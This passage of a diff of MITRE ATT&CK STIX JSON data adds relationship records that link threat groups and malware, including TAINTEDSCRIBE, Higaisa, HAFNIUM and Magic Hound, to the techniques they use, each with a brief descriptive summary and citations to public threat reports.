validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). 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Retrieved October 19, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-01T16:21:17.899Z", + "created": "2021-03-04T22:45:03.038Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "relationship_type": "mitigates", + "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). 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Retrieved October 19, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-14T14:38:43.039Z", + "created": "2021-03-04T22:46:49.079Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "The [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) main executable has disguised itself as Microsoft\u2019s Narrator.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--79d85e89-658e-4a38-b406-624fbe13ce9e", + "type": "relationship", + "modified": "2021-03-15T17:16:08.887Z", + "created": "2021-03-05T16:01:48.273Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) has used FakeTLS for session authentication.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--8da08b47-36bd-4d74-91df-6fdae6d1bfff", + "type": "relationship", + "modified": "2021-03-15T17:16:08.907Z", + "created": "2021-03-05T16:01:48.277Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used PowerShell [Empire](https://attack.mitre.org/software/S0363) for execution of malware.(Citation: Crowdstrike Indrik November 2018)", + "relationship_type": "uses", + "id": "relationship--7005793f-b8da-49c5-8985-9d4476c3faaf", + "type": "relationship", + "modified": "2021-03-05T18:09:35.002Z", + "created": "2021-03-05T18:09:35.002Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "(Citation: Crowdstrike Indrik November 2018) ", + "relationship_type": "uses", + "id": "relationship--dcafed44-9d31-4d75-915f-660f5fd62fed", + "type": "relationship", + "modified": "2021-03-05T18:09:35.145Z", + "created": "2021-03-05T18:09:35.145Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--01e28736-2ffc-455b-9880-ed4d1407ae07", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[Indrik Spider](https://attack.mitre.org/groups/G0119) has used batch scripts on victim's machines.(Citation: Crowdstrike Indrik November 2018) ", + "relationship_type": "uses", + "id": "relationship--8904d69b-a5ab-4e4c-b7c7-c437e7859b8a", + "type": "relationship", + "modified": "2021-03-05T18:13:06.615Z", + "created": "2021-03-05T18:13:06.615Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "external_references": [ + { + "source_name": "Zscaler Higaisa 2020", + "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", + "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021." + } + ], + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) performed padding with null bytes before calculating its hash.(Citation: Zscaler Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--971d0828-7244-4278-adc5-dc480d57ba5b", + "type": "relationship", + "modified": "2021-03-05T18:54:56.463Z", + "created": "2021-03-05T18:54:56.463Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "Zscaler Higaisa 2020", + "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", + "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. 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Retrieved March 2, 2021." + }, + { + "source_name": "Zscaler Higaisa 2020", + "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", + "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. 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Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can delete files from a compromised host.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--d3366503-cb6e-4fd3-9d93-ae9ee2faa0d4", + "type": "relationship", + "modified": "2021-03-15T17:16:08.935Z", + "created": "2021-03-08T13:45:43.046Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can download additional modules from its C2 server.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--98557068-7d60-40d4-8294-01469aadf6fe", + "type": "relationship", + "modified": "2021-03-15T17:16:08.932Z", + "created": "2021-03-08T13:45:43.104Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can copy itself into the current user\u2019s Startup folder as \u201cNarrator.exe\u201d for persistence.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--7d667946-e6f1-418b-9ad3-0e3689dfaaa7", + "type": "relationship", + "modified": "2021-03-15T17:16:08.931Z", + "created": "2021-03-08T13:50:20.463Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). 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MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can randomly pick one of five hard-coded IP addresses for C2 communication; if one of the IP fails, it will wait 60 seconds and then try another IP address.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--d2d98eeb-4ebd-4db5-adf8-2a737306b17f", + "type": "relationship", + "modified": "2021-03-15T17:16:08.966Z", + "created": "2021-03-08T13:53:09.890Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) uses a Linear Feedback Shift Register (LFSR) algorithm for network encryption.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--8d12dc63-d18a-43ef-b4bb-f4e9f67d2251", + "type": "relationship", + "modified": "2021-03-15T17:16:09.145Z", + "created": "2021-03-08T13:57:39.066Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "The [TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) command and execution module can perform target system enumeration.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--07324f90-f7c1-41f7-8d08-3ecec98bbe5c", + "type": "relationship", + "modified": "2021-03-15T17:16:08.969Z", + "created": "2021-03-08T14:04:31.385Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). 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(2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) has used FileReadZipSend to compress a file and send to C2.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--1f066ba6-31e2-48d1-a7ac-27a20879287b", + "type": "relationship", + "modified": "2021-04-26T15:52:00.636Z", + "created": "2021-03-08T14:20:25.713Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute FileRecvWriteRand to append random bytes to the end of a file received from C2.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--0a4e5f93-6efa-4490-b7fb-21a47a15612b", + "type": "relationship", + "modified": "2021-03-15T17:16:09.141Z", + "created": "2021-03-08T14:20:25.749Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can change the timestamp of specified filenames.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--0d4d42e9-0473-42fc-b018-c79b54c7a87f", + "type": "relationship", + "modified": "2021-03-15T17:16:09.163Z", + "created": "2021-03-08T16:50:34.117Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute GetLocalTime for time discovery.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--bff9fc96-0b27-4c84-ad42-dcea53b907bf", + "type": "relationship", + "modified": "2021-03-15T17:16:09.143Z", + "created": "2021-03-08T16:53:55.906Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", + "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021." + } + ], + "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can execute ProcessList for process discovery.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020)", + "relationship_type": "uses", + "id": "relationship--40ab538b-9386-4559-8861-098503d3770f", + "type": "relationship", + "modified": "2021-03-15T17:16:09.178Z", + "created": "2021-03-08T16:53:55.964Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "external_references": [ + { + "source_name": "PTSecurity Higaisa 2020", + "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", + "description": "PT ESC Threat Intelligence. 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Retrieved March 2, 2021." + } + ], + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) has exploited CVE-2018-0798 for execution.(Citation: PTSecurity Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--7b053a36-de7d-476b-bc06-6d712432d615", + "type": "relationship", + "modified": "2021-03-30T20:26:53.811Z", + "created": "2021-03-08T18:27:58.647Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "external_references": [ + { + "source_name": "PTSecurity Higaisa 2020", + "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", + "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021." + }, + { + "source_name": "Malwarebytes Higaisa 2020", + "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/", + "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021." + } + ], + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) collected the system volume serial number, GUID, and computer name.(Citation: PTSecurity Higaisa 2020)(Citation: Malwarebytes Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--63dec489-68ad-46c2-9972-55394ad7601a", + "type": "relationship", + "modified": "2021-03-30T20:16:51.191Z", + "created": "2021-03-08T18:27:58.657Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "external_references": [ + { + "source_name": "PTSecurity Higaisa 2020", + "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", + "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021." + } + ], + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) sent the victim computer identifier in a User-Agent string back to the C2 server every 10 minutes.(Citation: PTSecurity Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--853f320a-e611-4a23-9784-e0054f74b9e3", + "type": "relationship", + "modified": "2021-03-08T18:27:58.695Z", + "created": "2021-03-08T18:27:58.695Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "external_references": [ + { + "source_name": "Zscaler Higaisa 2020", + "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", + "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021." + } + ], + "description": "[Higaisa](https://attack.mitre.org/groups/G0126)\u2019s shellcode attempted to find the process ID of the current process.(Citation: Zscaler Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--c6c5a455-14da-4d6f-8149-c0dc3bbd6f56", + "type": "relationship", + "modified": "2021-03-08T18:27:58.744Z", + "created": "2021-03-08T18:27:58.744Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", + "external_references": [ + { + "source_name": "PTSecurity Higaisa 2020", + "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", + "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021." + } + ], + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) used a payload that creates a hidden window.(Citation: PTSecurity Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--a195cd11-43dc-4ad8-a48d-a1c705bb8b90", + "type": "relationship", + "modified": "2021-03-08T18:27:58.782Z", + "created": "2021-03-08T18:27:58.782Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", + "external_references": [ + { + "source_name": "Zscaler Higaisa 2020", + "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", + "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021." + } + ], + "description": "[Higaisa](https://attack.mitre.org/groups/G0126) has called various native OS APIs.(Citation: Zscaler Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--1489621a-59eb-42a9-b529-adc37c65520c", + "type": "relationship", + "modified": "2021-03-08T18:27:58.799Z", + "created": "2021-03-08T18:27:58.799Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "external_references": [ + { + "source_name": "PTSecurity Higaisa 2020", + "url": "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/", + "description": "PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021." + } + ], + "description": "[Higaisa](https://attack.mitre.org/groups/G0126)\u2019s JavaScript file used a legitimate Microsoft Office 2007 package to side-load the OINFO12.OCX dynamic link library.(Citation: PTSecurity Higaisa 2020)", + "relationship_type": "uses", + "id": "relationship--40b904c6-d77d-4ba8-98a5-c03d5c2a3186", + "type": "relationship", + "modified": "2021-03-08T18:27:58.793Z", + "created": "2021-03-08T18:27:58.793Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3", + "external_references": [ + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has obtained IP addresses for publicly-accessible Exchange servers.(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--c8a0a286-1296-4f87-bc6e-322cd956fb73", + "type": "relationship", + "modified": "2021-04-19T17:50:00.284Z", + "created": "2021-03-09T16:04:38.886Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "external_references": [ + { + "source_name": "FireEye Exchange Zero Days March 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html", + "description": "Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used the NT AUTHORITY\\SYSTEM account to create files on Exchange servers.(Citation: FireEye Exchange Zero Days March 2021)", + "relationship_type": "uses", + "id": "relationship--996765a6-6c8a-429d-baa5-32d423fb4207", + "type": "relationship", + "modified": "2021-03-09T16:09:27.405Z", + "created": "2021-03-09T16:09:27.405Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "target_ref": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161", + "external_references": [ + { + "source_name": "IBM ITG18 2020", + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", + "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021." + } + ], + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) gathered credentials from two victims that they then attempted to validate across 75 different websites.(Citation: IBM ITG18 2020)", + "relationship_type": "uses", + "id": 